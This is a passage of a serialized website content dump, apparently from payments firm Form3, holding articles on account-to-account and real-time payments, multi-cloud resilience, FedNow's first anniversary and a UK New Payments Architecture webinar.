trend we will see in 2025 is major retailers potentially adopting account-to-account payment methods, underpinned by real-time payments (RTP).",[],{"type":25,"text":11480,"spans":11481,"direction":445},"It was interesting to see Walmart’s recent announcement that they are going to start offering account-to-account payments because it's the first time retailers are balking at the interchange fees they're paying on card rails. In theory, Walmart now has control of its payment destiny, potentially bypassing the need for card rails, which could in the future drive both brand and customer loyalty.",[11482],{"start":5574,"end":3853,"type":489,"data":11483},{"link_type":491,"url":11484,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fnews\u002Ffaster-payments\u002F2024\u002Fwalmart-teams-with-fiserv-instant-bank-payments\u002F",{"type":25,"text":11486,"spans":11487,"direction":445},"In terms of the benefits of account-to-account, when retailers realise that these transactions are cheaper than the 3% they're commonly paying on card fees, these savings could be passed back to the consumer in the form of lower pricing for goods.",[],{"type":25,"text":11489,"spans":11490,"direction":445},"Another benefit for retailers is that this payment method is instant and irrevocable. The fact that the money is going directly from a customer's bank account to a merchant's bank account, without a kind of middleman, is a significant advantage.",[],{"type":25,"text":11492,"spans":11493,"direction":445},"Moving forward, big retailers have the power and influence to start to drive the account-to-account practice. An example of this is aligned to the new Apple iOS 18.1 for its smartphones. For the first time the NFC chip that Apple uses for contactless payments has been unlocked. This opens up options for other payment methodologies outside of Apple Pay - and therefore outside of the card rails.",[],{"type":25,"text":11495,"spans":11496,"direction":445},"Aside from retailers, how will account-to-account payments affect banks? The banks, as card issuers, benefit from fees associated with retail transactions, so there may be a resistance to offering account account payments. At the end of the day, it could come down to client preference and client satisfaction. If your bank is not able to offer account-to-account payments, another bank can, and will take the business.",[],{"type":25,"text":11498,"spans":11499,"direction":445},"While I expect the impact of account-to-account payments on card activity to be minimal in 2025, I also  think the  increased uptake we will see in 2025 will lay the foundation for what will likely be a much larger shift in consumer behavior in future years. Key to this is better implementation of RTP mechanisms, especially as payment rails like Zelle can’t facilitate this activity. Ultimately, it is the consumer who benefits the most, and we'll have to drive that behavior in payments the market in 2025.",[],"rich_text$f402c990-bbc9-4ef5-9bc0-5c69f4fda140",{"variation":437,"version":438,"items":11502,"primary":11503,"id":11523,"slice_type":468,"slice_label":5},[],{"body":11504},[11505,11508,11511,11514,11517,11520],{"type":988,"text":11506,"spans":11507,"direction":445},"2025: is this the year real-time payments take off?",[],{"type":25,"text":11509,"spans":11510,"direction":445},"Linked to Walmart’s activity is the question of whether real-time payments will truly take off in 2025 – especially as many banks are still deciding to get on this bandwagon.",[],{"type":25,"text":11512,"spans":11513,"direction":445},"What is interesting is that the Automated Clearing House (ACH) recently announced that they will be increasing the limit on RTP transactions to 10 million, which is a significant 10 times increase over their higher limits. This opens up RTP to more businesses and other use cases such as real estate transaction settlement and supplier inventory settlements.",[],{"type":25,"text":11515,"spans":11516,"direction":445},"In addition, those banks that have implemented RTP in many cases have done so tactically, and I think they are finding that some of the solutions that they've implemented are not scalable. I think the need to address that gap is key in 2025.",[],{"type":25,"text":11518,"spans":11519,"direction":445},"We’ll also see banks needing to invest more in RTP infrastructure that allows fungibility between various payment rails. Depending on the time-sensitivity of a payment, it might need to be directed to ACH, where it's on a lower-cost infrastructure. Whereas if the payment needs to go out immediately, it's better to route the payment to RTP or FedNow.",[],{"type":25,"text":11521,"spans":11522,"direction":445},"In 2025 banks will need to create an architecture that allows for flexibility in payment rails. Traditionally, the rails have been highly separated, highly segregated. Unfortunately, that's not going to fly in the future where banks need to be able to present omnichannel payment opportunities for clients.",[],"rich_text$aa203b61-134d-4b39-9bb7-22103a4ab39c",{"variation":437,"version":438,"items":11525,"primary":11526,"id":11549,"slice_type":468,"slice_label":5},[],{"body":11527},[11528,11531,11534,11537,11540,11543,11546],{"type":988,"text":11529,"spans":11530,"direction":445},"A new vision for ACH",[],{"type":25,"text":11532,"spans":11533,"direction":445},"One major project that will take off in 2025 is addressing the future of the Automated Clearing House (ACH) network, and how this integrates with real-time payments. This work is needed, as the ACH, arguably the granddaddy of all payment rails, needs to be fit-for-purpose for a changing US payments landscape.",[],{"type":25,"text":11535,"spans":11536,"direction":445},"This modernization is essential, as some banks are operating on 30-year old tech architecture. However, this project is a delicate one, as some of these banks are loath to tear out this tech, as it's such a complex process to replace.",[],{"type":25,"text":11538,"spans":11539,"direction":445},"To address this challenge, we are working with a group of banks around what the vision for ACH looks like in the future. This focuses on integrating ACH with real-time payments, with the ultimate goal of creating an omnichannel environment that banks are going to need to best serve their clients in the future.",[],{"type":25,"text":11541,"spans":11542,"direction":445},"I think the investment spend needed for this vision will potentially be there, so I think it's a question of taking the time to lay out the architecture and the vision of the future, and selecting vendors that can accommodate that.",[],{"type":25,"text":11544,"spans":11545,"direction":445},"In addition, I think there needs to be a recognition of the timeframe that this project needs. If it is a case of replacing the ACH platform, that is at least a three-year job. Therefore, if work commences in 2025, the earliest it’ll get completed will be 2028.",[],{"type":25,"text":11547,"spans":11548,"direction":445},"In terms of pros and cons, this project is a massive challenge, and if it’s not addressed today, this has long-term repercussions for US payments; on the plus side, banks that are willing to take on today’s big technology challenges can deliver services for customers in the future.",[],"rich_text$b467fe3a-e12d-4dd2-b068-f7515e2e86e3",{"variation":437,"version":438,"items":11551,"primary":11552,"id":11569,"slice_type":468,"slice_label":5},[],{"body":11553},[11554,11557,11560,11563,11566],{"type":988,"text":11555,"spans":11556,"direction":445},"Payment trends for the rest of the decade",[],{"type":25,"text":11558,"spans":11559,"direction":445},"I anticipate a more benign regulatory environment when it comes to the banks’ role in the US payments industry. Regulations are always challenging, but I think the regulatory environment has stabilized over the last couple of years.",[],{"type":25,"text":11561,"spans":11562,"direction":445},"That same more benign environment is likely to lead to further consolidation. In the US, there are too many banks and there is significant pent-up appetite for M&A.   The Trump administration is likely to be more open to allowing greater market consolidation.  The banks that emerge from this environment are likely to be those “fortress” balance sheets and the ability to invest in the technology required to serve their clients as efficiently and nimbly as possible.",[],{"type":25,"text":11564,"spans":11565,"direction":445},"Aside from the traditional banking and payment model, the digital currency conversation will no doubt continue to bubble in the background. An example of this is the continued discussion around Central Bank Digital Currency (CBDC) in payments. Currently, I have yet to see a use case where a CBDC presents an advantage over traditional, already digitized payment mechanisms, but I think we'll continue to see that discussion happen over the next few years.",[],{"type":25,"text":11567,"spans":11568,"direction":445},"Overall, the key to success in the payment space will increasing rely on having the right technology infrastructure in place. In order to do the customer experience work at the front end, you have to do the right tech at work at the back end. That's how you make a difference to your client. The groundwork has to be laid now over the next five years to ensure banks are competitive in 2030. The key is to start tech modernization work sooner rather than later.",[],"rich_text$e5db7ef9-5a51-4e7b-ab58-a34e57eb6757",{"id":11571,"uid":11572,"type":3743,"data":11573},"alzyahEAACkAUWEK","why-multicloud-is-the-future",{"title":11574,"excerpt":11575,"card_image":11576,"published_date":11579,"reading_time":5,"tag":5813,"dek":11580,"featured_image":11581,"about_form3":11582,"client_about_heading":5,"client_about_body":11583,"author_name":5,"author_title":5,"author_photo":11584,"author_bio":11585,"author_linkedin":11586,"slices":11587,"meta_title":11574,"meta_description":11575},"Building resilience in payments: Why multi-cloud is the future","In the world of financial services, resilience isn’t a nice-to-have—it’s the foundation on which trust is built. Whether it's processing mortgage payments, ensuring businesses can pay their suppliers, or enabling everyday card transactions, the reliability of payment infrastructure is non-negotiable. Customers expect instant access to their money, and regulators demand that financial institutions maintain robust contingency plans to avoid catastrophic service failures.",{"dimensions":11577,"alt":413,"copyright":5,"url":414,"id":415,"edit":11578},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2025-03-04","The continuous provision of important financial services by institutions is more and more reliant on the resilience of their respective cloud service providers (CSPs). Customers and businesses alike expect instant access to their money, and regulators are demanding this resilience through direct regulation.  To compete in this new environment, banks are embarking on digital strategies of which cloud adoption is an intrinsic part and the most resilient model for this that we now see is a ‘multi-cloud’ strategy. Developing a strategy that involves a multi-cloud provides a solid foundation for IT resilience and introduces a wide range of additional advantages including greater agility, the ability to scale and a range of other benefits.",{},[],[],{},[],{"link_type":434},[11588,11605,11620,11656,11686,11694,11728,11739],{"variation":437,"version":438,"items":11589,"primary":11590,"id":11604,"slice_type":468,"slice_label":5},[],{"body":11591},[11592,11595,11598,11601],{"type":988,"text":11593,"spans":11594,"direction":445},"The Cost of Payment Downtime",[],{"type":25,"text":11596,"spans":11597,"direction":445},"It’s easy to think of cloud outages as purely a technical challenge, but for financial institutions, the impact runs far deeper. When payments fail, reputations suffer, customers lose confidence, and regulators take notice.  ",[],{"type":25,"text":11599,"spans":11600,"direction":445},"Institutions should ask themselves: if our cloud provider suffered a critical failure today, could we continue processing payments seamlessly? If the answer is no, it’s time to reconsider the institution’s approach to resilience. ",[],{"type":25,"text":11602,"spans":11603,"direction":445},"A multi-cloud strategy mitigates concentration risk, ensuring payment services remain uninterrupted even if one provider experiences downtime. It provides financial institutions with the flexibility to shift workloads dynamically, maintaining business as usual without customers ever noticing a disruption.",[],"rich_text$1e69d7d3-3277-46d2-9cda-2678a9408cc5",{"variation":437,"version":438,"items":11606,"primary":11607,"id":11619,"slice_type":468,"slice_label":5},[],{"body":11608},[11609,11612,11615],{"type":988,"text":11610,"spans":11611,"direction":445},"How multi-cloud strengthens payments infrastructure",[],{"type":25,"text":11613,"spans":11614,"direction":445},"A multi-cloud approach means distributing workloads across multiple cloud providers—such as AWS, Google Cloud, and Microsoft Azure—ensuring that no single point of failure can disrupt the entire system. ",[],{"type":25,"text":11616,"spans":11617,"direction":445},"It enhances resilience in three key areas: ",[11618],{"start":398,"end":5136,"type":593},"rich_text$018c4261-aab7-4f96-b7e5-05a6558ceebd",{"variation":437,"version":438,"items":11621,"primary":11622,"id":11655,"slice_type":468,"slice_label":5},[],{"body":11623},[11624,11627,11631,11634,11638,11641,11645,11648,11652],{"type":988,"text":11625,"spans":11626,"direction":445},"Key considerations in the race to multi-cloud",[],{"type":25,"text":11628,"spans":11629,"direction":445},"Multi-cloud architecture",[11630],{"start":398,"end":9799,"type":593},{"type":25,"text":11632,"spans":11633,"direction":445},"It is essential to understand the challenges that exist while creating a robust multi-cloud architecture. You need to incorporate the right set of tools and technologies to support workload placement across diverse platforms and services. A solid operating model to effectively manage multi-cloud use is imperative – breaking it down into process security, technology, financial operations and people and skills. One of the keys is aligning IT service management with your multi-cloud operating model – implementing the right technology to effectively operate, manage, monitor and secure resources and services among providers – from data management, governance and security to vendor licenses, contracts and more. ",[],{"type":25,"text":11635,"spans":11636,"direction":445},"Resilience",[11637],{"start":398,"end":905,"type":593},{"type":25,"text":11639,"spans":11640,"direction":445},"Establishing resilience in a multi-cloud environment is critical to disruption prevention and recovery. You need a rapid, flexible and scalable environment that provides both zonal and regional resilience. You should also factor in the essential need for an appropriate recovery-time objective (RTO) and recovery-point objective (RPO) to help ensure they do not break down when a service spans multiple clouds. ",[],{"type":25,"text":11642,"spans":11643,"direction":445},"Security ",[11644],{"start":398,"end":1355,"type":593},{"type":25,"text":11646,"spans":11647,"direction":445},"Leading businesses are recognizing the need to design and implement a modern multi-cloud security model across applications and data governance, one featuring a common access-control model across platforms. This includes automation of key capabilities such as identity and access management, as well as automation of compliance for continuous monitoring, reporting and testing of capabilities. Periodic testing is no longer sufficient as threats soar in frequency, impact and cost to the organisation. Automation also offers revolutionary new capabilities to predict trouble before it strikes in today’s bold new reality.  ",[],{"type":25,"text":11649,"spans":11650,"direction":445},"Cost optimization",[11651],{"start":398,"end":6911,"type":593},{"type":25,"text":11653,"spans":11654,"direction":445},"Businesses need to rethink budget planning and financial control as the pace of change accelerates. For multi-cloud, you need to invest in new cost management and visibility tools that can establish and maintain centralized governance and avoid cost overruns. Amid different pricing models and various mechanisms to control costs among diverse cloud service providers, balancing the value of workloads with associated cloud costs is essential. Ask yourself what the total cost of hosting an application is. Is it going down or up – and what can you do to drive it down? Can the business reduce some of the variability that exists in current costs? ",[],"rich_text$7ddb8d03-1abc-4128-b376-6020c08944fe",{"variation":437,"version":438,"items":11657,"primary":11658,"id":11685,"slice_type":468,"slice_label":5},[],{"body":11659},[11660,11663,11666,11670,11677,11681],{"type":988,"text":11661,"spans":11662,"direction":445},"The future of payments is multi-cloud",[],{"type":25,"text":11664,"spans":11665,"direction":445},"The shift to multi-cloud isn’t just about mitigating risk, it’s about preparing for the future of payments infrastructure. ",[],{"type":25,"text":11667,"spans":11668,"direction":445},"Several key trends are accelerating this shift: ",[11669],{"start":398,"end":5490,"type":593},{"type":3373,"text":11671,"spans":11672,"direction":445}," Stronger regulatory mandates – Compliance frameworks like DORA and the FCA’s operational resilience rules are pushing banks toward multi-cloud adoption.",[11673,11674],{"start":399,"end":871,"type":593},{"start":592,"end":629,"type":489,"data":11675},{"link_type":491,"url":11676,"target":4499},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fcompliance-with-the-eu-digital-operational-resilience-act",{"type":3373,"text":11678,"spans":11679,"direction":445},"The rise of real-time payments – As instant payments become the norm, infrastructure must be always-on, highly scalable, and failure-resistant.",[11680],{"start":398,"end":3041,"type":593},{"type":3373,"text":11682,"spans":11683,"direction":445},"Advancements in AI and security – Multi-cloud enables institutions to leverage best-in-class AI-driven fraud detection across cloud environments. ",[11684],{"start":398,"end":690,"type":593},"rich_text$ae98071e-8706-4453-97c7-f40d9ea50cb8",{"variation":437,"version":438,"items":11687,"primary":11688,"id":11693,"slice_type":468,"slice_label":5},[],{"body":11689},[11690],{"type":25,"text":11691,"spans":11692,"direction":445},"Financial institutions that embrace multi-cloud resilience today will be well-positioned for a future where payments must be instant, secure, and continuously available. ",[],"rich_text$ba39f4f7-df05-49d9-a22b-28a1e6342754",{"variation":437,"version":438,"items":11695,"primary":11696,"id":11727,"slice_type":468,"slice_label":5},[],{"body":11697},[11698,11701,11708,11715,11719,11723],{"type":988,"text":11699,"spans":11700,"direction":445},"Financial institutions that embrace multi-cloud resilience today will be well-positioned for a future where payments must be instant, secure, and continuously available.",[],{"type":25,"text":11702,"spans":11703,"direction":445},"For financial institutions looking to adopt multi-cloud, the key question is: build or partner? Maintaining a complex multi-cloud infrastructure in-house is a massive undertaking, requiring ongoing management, orchestration, and compliance oversight. ",[11704],{"start":11705,"end":3853,"type":489,"data":11706},38,{"link_type":491,"url":11707,"target":4499},"https:\u002F\u002Fwww.form3.tech\u002Flanding\u002Fmulticloud-for-payment-resilience",{"type":25,"text":11709,"spans":11710,"direction":445},"A fully managed multi-cloud solution offers a more efficient, scalable, and secure approach. By distributing payments processing across multiple cloud providers, financial institutions can: ",[11711,11713,11714],{"start":506,"end":3852,"type":489,"data":11712},{"link_type":491,"url":4524,"target":4499},{"start":506,"end":3852,"type":593},{"start":1250,"end":1406,"type":593},{"type":3373,"text":11716,"spans":11717,"direction":445},"Reduce concentration risk and ensure compliance with evolving regulatory requirements. ",[11718],{"start":398,"end":1066,"type":593},{"type":3373,"text":11720,"spans":11721,"direction":445},"Guarantee uninterrupted payment processing, even in the face of cloud provider outages. ",[11722],{"start":398,"end":1486,"type":593},{"type":3373,"text":11724,"spans":11725,"direction":445},"Scale seamlessly to accommodate growing payment volumes without infrastructure constraints. ",[11726],{"start":398,"end":2477,"type":593},"rich_text$cb277a24-e810-47a9-a8a4-1d4c86fa3f35",{"variation":437,"version":438,"items":11729,"primary":11730,"id":11738,"slice_type":468,"slice_label":5},[],{"body":11731},[11732],{"type":25,"text":11733,"spans":11734,"direction":445},"By taking the complexity out of multi-cloud adoption, a managed approach allows banks to focus on innovation, growth, and customer experience, rather than IT infrastructure challenges. ",[11735,11736],{"start":2987,"end":1251,"type":593},{"start":9315,"end":11737,"type":593},141,"rich_text$51268434-a9bf-403b-b14f-b55262949f4e",{"variation":437,"version":438,"items":11740,"primary":11741,"id":11754,"slice_type":468,"slice_label":5},[],{"body":11742},[11743,11745,11751],{"type":988,"text":4445,"spans":11744,"direction":445},[],{"type":25,"text":11746,"spans":11747,"direction":445},"Multi-cloud adoption is taking off—and for good reason. Organisations stand to benefit on multiple fronts by making the move to multi-vendor deployments. A multi-cloud strategy isn’t just about preventing outages; it’s about future-proofing payments for an era of real-time transactions and increasing regulatory scrutiny. ",[11748],{"start":11218,"end":11749,"type":489,"data":11750},176,{"link_type":491,"url":4524,"target":4499},{"type":25,"text":11752,"spans":11753,"direction":445},"While some institutions may continue to build their infrastructure on a single-cloud approach,  reliance on this does pose  a significant risk. Those that embrace multi-cloud resilience will have a competitive edge, ensuring payments remain secure, scalable, and always available. ",[],"rich_text$7edf741c-6c26-481d-88cb-5b9d761ae0ef",{"id":11756,"uid":11757,"type":3743,"data":11758},"alzygxEAAC0AUWFF","fednows-first-birthday-reflects-strong-faster-payments-progress",{"title":11759,"excerpt":11760,"card_image":11761,"published_date":11767,"reading_time":418,"tag":5813,"dek":11768,"featured_image":11769,"about_form3":11770,"client_about_heading":5,"client_about_body":11771,"author_name":11772,"author_title":11773,"author_photo":11774,"author_bio":11782,"author_linkedin":11789,"slices":11792,"meta_title":11759,"meta_description":11863},"Industry focus: FedNow’s first birthday reflects strong faster payments progress","It’s been a big year for faster payments in the US. July 20, 2024 marked the first anniversary of the launch of FedNow in the US, The Fed’s instant payment network. It’s fair to say that the US is behind some other regions in terms of instant payments infrastructure, but the past 12 months have seen significant progress. In this article I’ll outline some of my observations and provide some insight into how the faster payments landscape in the US is developing.",{"dimensions":11762,"alt":11763,"copyright":5,"url":11764,"id":11765,"edit":11766},{"width":412,"height":412},"Miriam-Resource","\u002F_prismic-media\u002F7217b81cfc34a201-u0JMpy8i4gdO8DaH_Miriam-Resource.png","u0JMpy8i4gdO8DaH",{"x":398,"y":398,"zoom":399,"background":400},"2025-01-08","It’s been a big year for faster payments in the US. July 20, 2024, marked the first anniversary of the launch of FedNow in the US, the Fed’s instant payment network. It’s fair to say that the US is behind some other regions in terms of instant payments infrastructure, but the past 12 months have seen significant progress.I’ve been fortunate enough to get a closer view than most of FedNow’s development. I led the product development for the FedNow service for the Federal Reserve Bank of Boston, and managed Fedwire initiatives for the wholesale payment office at The Fed in New York. In this article I’ll outline some of my observations and provide some insight into how the faster payments landscape in the US is developing.",{},[],[],"Miriam Sheril","Head of Product, US",{"dimensions":11775,"alt":11778,"copyright":5,"url":11779,"id":11780,"edit":11781},{"width":11776,"height":11777},1902,2844,"Miriam","\u002F_prismic-media\u002F6695e25f93d99054-igEwv3iA7ZuLYsBv_Miriam.jpg","igEwv3iA7ZuLYsBv",{"x":398,"y":398,"zoom":399,"background":400},[11783,11786],{"type":25,"text":11784,"spans":11785,"direction":445},"Miriam Sheril is Head of Product, North America, at Form3, where she is responsible for building out the North American payments fabric to support back-office operations across all payment rails, including the Federal Reserve’s FedNow® Service, The Clearing House’s RTP® network, Canada’s Real-Time Rail (RTR), ACH, wire transfers, and Zelle®.",[],{"type":25,"text":11787,"spans":11788,"direction":445},"Miriam has more than 16 years of experience in financial services, specializing in product strategy, software development, and product delivery. Prior to joining Form3, she was Head of Product Delivery for FedNow at the Federal Reserve Bank, where she served as the FedNow Core Product Manager Lead and AVP, responsible for the design and build of the FedNow Service from its inception.",[],{"link_type":491,"key":11790,"url":11791,"target":493},"83de5afb-27db-44d0-9d16-3f754c22610a","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmiriam-sheril\u002F",[11793,11807,11821,11835,11849],{"variation":437,"version":438,"items":11794,"primary":11795,"id":11806,"slice_type":468,"slice_label":5},[],{"body":11796},[11797,11800,11803],{"type":988,"text":11798,"spans":11799,"direction":445},"FedNow’s First Anniversary",[],{"type":25,"text":11801,"spans":11802,"direction":445},"The launch of FedNow has undoubtedly been a success. While there hasn’t been an overwhelming wave of early adopters, the numbers have been encouraging and in line with targets. There are currently more than 1200 participating financial institutions that have onboarded in this first year.",[],{"type":25,"text":11804,"spans":11805,"direction":445},"While payment volumes across FedNow in the first year have been modest, the healthy levels of adoption of both FedNow and RTP will drive more use cases for faster payments, meaning payment volumes will likely rise significantly in the coming years.",[],"rich_text$7bdc99d2-fd95-414c-b1bc-5d5cf25c7727",{"variation":437,"version":438,"items":11808,"primary":11809,"id":11820,"slice_type":468,"slice_label":5},[],{"body":11810},[11811,11814,11817],{"type":988,"text":11812,"spans":11813,"direction":445},"Wider Trends Driving Demand for Faster Payments",[],{"type":25,"text":11815,"spans":11816,"direction":445},"We’ve been seeing a shift towards real-time, on-demand payments driven by consumer expectations for several years now. Driven by services such as PayPal, Venmo and Zelle in the peer-to-peer payment space, and the functionality of other digital services such as Amazon Prime, consumers are demanding real-time services from their banks.",[],{"type":25,"text":11818,"spans":11819,"direction":445},"But with legacy infrastructure that many banks are still using, achieving the scale and volume that real-time payment systems require simply isn’t possible. Banks are fast realizing that they need to adopt new technologies to stay relevant.",[],"rich_text$bb82aa68-782e-4136-9b79-dcb0d72b0634",{"variation":437,"version":438,"items":11822,"primary":11823,"id":11834,"slice_type":468,"slice_label":5},[],{"body":11824},[11825,11828,11831],{"type":988,"text":11826,"spans":11827,"direction":445},"As Demand Grows, Banks Must Plan for Modernization",[],{"type":25,"text":11829,"spans":11830,"direction":445},"The process of technology modernization is necessary for banks and financial institutions that want to hold on to their customers. Cloud-based platforms that are flexible, scalable and resilient aren’t just optional, nice-to-have technologies; they’re table stakes. Similarly, using APIs to create systems and services that can be securely and effectively integrated with each other is the only realistic solution for banks overhauling their infrastructure.",[],{"type":25,"text":11832,"spans":11833,"direction":445},"While the volume of faster payments that most banks are needing to process at the moment are relatively modest, they’re set to ramp up dramatically as adoption of FedNow and RTP grows. This means that upgrading technology is critical for long-term success. My advice is that strategic planning and budgeting programs should start immediately in financial institutions that haven’t yet transitioned to the cloud.",[],"rich_text$8312b148-482b-470c-a815-4b2c1cde17fd",{"variation":437,"version":438,"items":11836,"primary":11837,"id":11848,"slice_type":468,"slice_label":5},[],{"body":11838},[11839,11842,11845],{"type":988,"text":11840,"spans":11841,"direction":445},"A Cloudy Outlook",[],{"type":25,"text":11843,"spans":11844,"direction":445},"Using the cloud to process payments is the bare minimum. While cloud providers offer high service levels, they don’t guarantee 100% uptime. If a cloud provider suffers an issue in one of its data centers, this could impact banks that use that cloud to process payments.",[],{"type":25,"text":11846,"spans":11847,"direction":445},"With a multi-cloud setup, payment flows can be re-routed if one cloud suffers an outage. As well as increased resilience, using more than one cloud also offers benefits in terms of latency and the bank’s ability to handle large volumes of payments.",[],"rich_text$85957b7c-5f85-41b9-b2f1-99e31c482861",{"variation":437,"version":438,"items":11850,"primary":11851,"id":11862,"slice_type":468,"slice_label":5},[],{"body":11852},[11853,11856,11859],{"type":988,"text":11854,"spans":11855,"direction":445},"Takeaway: Banks That Fail to Plan Risk Losing Out",[],{"type":25,"text":11857,"spans":11858,"direction":445},"Without a strong payment strategy, banks could be in big trouble. While joining faster payment rails right now isn’t going to have an immediate impact on their bottom line, failure to do so will be costly in the longer term. Forward-looking organizations will join RTP and FedNow sooner rather than later.",[],{"type":25,"text":11860,"spans":11861,"direction":445},"Ideally, banks and credit unions that haven’t yet connected to faster payment services should consider joining both RTP and FedNow at the same time to reduce costs and provide a foundation for many new use cases that will help them to retain and attract customers. Seeking guidance from the FPC should be a first step for those that haven’t yet planned for the faster payments future.",[],"rich_text$9fb7d74d-840f-493a-80c2-c3e51d1b160f","It’s been a big year for faster payments in the US. July 20th 2024 marked the first anniversary of the launch of FedNow in the US, The Fed’s instant payment network. It’s fair to say that the US is behind some other regions in terms of instant payments infrastructure, but the past 12 months have seen significant progress. I’ve been fortunate enough to get a closer view than most of FedNow’s development. I led the product development for the FedNow service for the Federal Reserve Bank of Boston, and managed Fedwire initiatives for the wholesale payment office at The Fed in New York. In this article I’ll outline some of my observations and provide some insight into how the faster payments landscape in the US is developing.",{"id":11865,"uid":11866,"type":3743,"data":11867},"alz0GhEAACoAUWUK","npa-webinar",{"title":11868,"excerpt":11869,"card_image":11870,"published_date":11876,"reading_time":4603,"tag":6178,"dek":11877,"featured_image":11878,"about_form3":11885,"client_about_heading":5,"client_about_body":11886,"author_name":5,"author_title":5,"author_photo":11887,"author_bio":11888,"author_linkedin":11889,"slices":11890,"meta_title":11868,"meta_description":11869},"Webinar: Evaluating Access and Settlement Models within the NPA","Learn how upgrading the UK’s interbank payments infrastructure to align it with a growing digital agenda is an increasing necessity, and through The New Payments Architecture this project is well underway with many banks and Fintechs now in the process or assessing its impact.",{"dimensions":11871,"alt":11872,"copyright":5,"url":11873,"id":11874,"edit":11875},{"width":412,"height":412},"Banner Image","\u002F_prismic-media\u002F5e9eede5f0c79ae9-4vcZK13vIlTFGKB2_npa-webinar.png","4vcZK13vIlTFGKB2",{"x":398,"y":398,"zoom":399,"background":400},"2022-05-06","Upgrading the UK’s interbank payments infrastructure to align it with a growing digital agenda is an increasing necessity, and through The New Payments Architecture this project is well underway with many banks and Fintechs now in the process or assessing its impact.But with this new way of organising the clearing and settlement of payments being at the forefront of payment innovation, a conversation is emerging around the types of access model and settlement models that will be supported.",{"dimensions":11879,"alt":5,"copyright":5,"url":11882,"id":11883,"edit":11884},{"width":11880,"height":11881},3600,2007,"\u002F_prismic-media\u002F9f56da58f8df6351-6aWSKKhW3nTXETXN_106f7e6f-91d4-41ee-babd-78cb693.png","6aWSKKhW3nTXETXN",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[11891,11908,11932],{"variation":437,"version":438,"items":11892,"primary":11893,"id":11907,"slice_type":468,"slice_label":5},[],{"body":11894},[11895,11898,11901,11904],{"type":746,"text":11896,"spans":11897},"Our panel of industry experts dive into the following topics and more:",[],{"type":1151,"text":11899,"spans":11900},"What could the future access models look like for the new and emerging players in the payments space?",[],{"type":1151,"text":11902,"spans":11903},"How will ‘indirect access models’ ensure participants get the access they require and not be faced with new barriers to entry?",[],{"type":1151,"text":11905,"spans":11906},"Omnibus accounts; what are they and how does the Bank of England envisage them working with the NPA?",[],"rich_text$0b068755-b59d-46e0-8227-3ede32241ad3",{"variation":437,"version":527,"items":11909,"primary":11910,"id":11931,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":11911,"body":11914,"cta_label":5,"cta_link":11915,"aside_type":6213,"aside_image":11916,"aside_video":11917,"aside_video_poster":11918,"aside_video_reduced_motion":11919,"aside_video_url":5,"aside_embed":11920,"pardot_form_url":11921,"form_submit_label":11922,"form_variant":6220,"form_heading":6221,"redirect_on_success":11923,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[11912],{"type":746,"text":6209,"spans":11913},[],[],{"link_type":434},{},{"link_type":536},{},{},{},"https:\u002F\u002Fcontent.form3.tech\u002Fl\u002F957092\u002F2022-05-06\u002F24842i","Watch the Webinar here",{"id":11924,"type":6224,"tags":11925,"lang":14,"slug":6226,"first_publication_date":6227,"last_publication_date":6228,"uid":11926,"url":11927,"data":11928,"link_type":542,"key":11930,"isBroken":6235},"anvZEhIAACwANtkC",[],"npa-webinar-1","\u002Fcampaigns\u002Fnpa-webinar-1",{"title":11929,"heading":6233},"NPA webinar — thank you","e2a57ba0-07cc-4365-b166-26cf7e565f1a","content_block$cad47c2f-52fa-4a3f-9c43-5ce95c637ae7",{"variation":437,"version":438,"items":11933,"primary":11934,"id":11979,"slice_type":468,"slice_label":5},[],{"body":11935},[11936,11938,11942,11946,11950,11955,11959,11963,11967,11971,11975],{"type":746,"text":6242,"spans":11937},[],{"type":25,"text":11939,"spans":11940},"Matthew Hunt",[11941],{"start":398,"end":2707,"type":593},{"type":25,"text":11943,"spans":11944},"Chief Strategy Officer – Deputy CEO, Pay.uk",[11945],{"start":846,"end":5136,"type":593},{"type":25,"text":11947,"spans":11948},"John Jackson",[11949],{"start":398,"end":2707,"type":593},{"type":25,"text":11951,"spans":11952},"Policy and Product Lead for the Real-Time Gross Settlement (RTGS) Renewal programme, Bank of England",[11953],{"start":11954,"end":3964,"type":593},85,{"type":25,"text":11956,"spans":11957},"Colm Lyon",[11958],{"start":398,"end":1355,"type":593},{"type":25,"text":11960,"spans":11961},"CEO and Founder, Fire.com",[11962],{"start":6911,"end":1066,"type":593},{"type":25,"text":11964,"spans":11965},"Jana Mackintosh",[11966],{"start":398,"end":8472,"type":593},{"type":25,"text":11968,"spans":11969},"Managing Director – Payments and Innovation, UK Finance",[11970],{"start":9211,"end":3853,"type":593},{"type":25,"text":11972,"spans":11973},"Joss Wilbraham",[11974],{"start":398,"end":2987,"type":593},{"type":25,"text":11976,"spans":11977},"Head of Networks and Central Infrastructure – Customer Success, Form3",[11978],{"start":4083,"end":3397,"type":593},"rich_text$a004c7cf-0a6d-48e4-9e52-b852a22c9edd",{"id":11981,"uid":11982,"type":3743,"data":11983},"alz0MREAACkAUWVA","form3s-first-apprentice",{"title":11984,"excerpt":11985,"card_image":11986,"published_date":11991,"reading_time":1633,"tag":3751,"dek":11985,"featured_image":11992,"about_form3":11993,"client_about_heading":5,"client_about_body":11994,"author_name":5,"author_title":5,"author_photo":11995,"author_bio":11996,"author_linkedin":11997,"slices":11998,"meta_title":11984,"meta_description":11985},"Form3's first apprentice","We have recently embarked on (another) learning curve here at Form3, as we launched our first Apprenticeship Programme just a few months ago – a momentous and exciting milestone as we continue to grow at scale. Ellie Brown, Form3's first apprentice, spills the beans on how the programme is 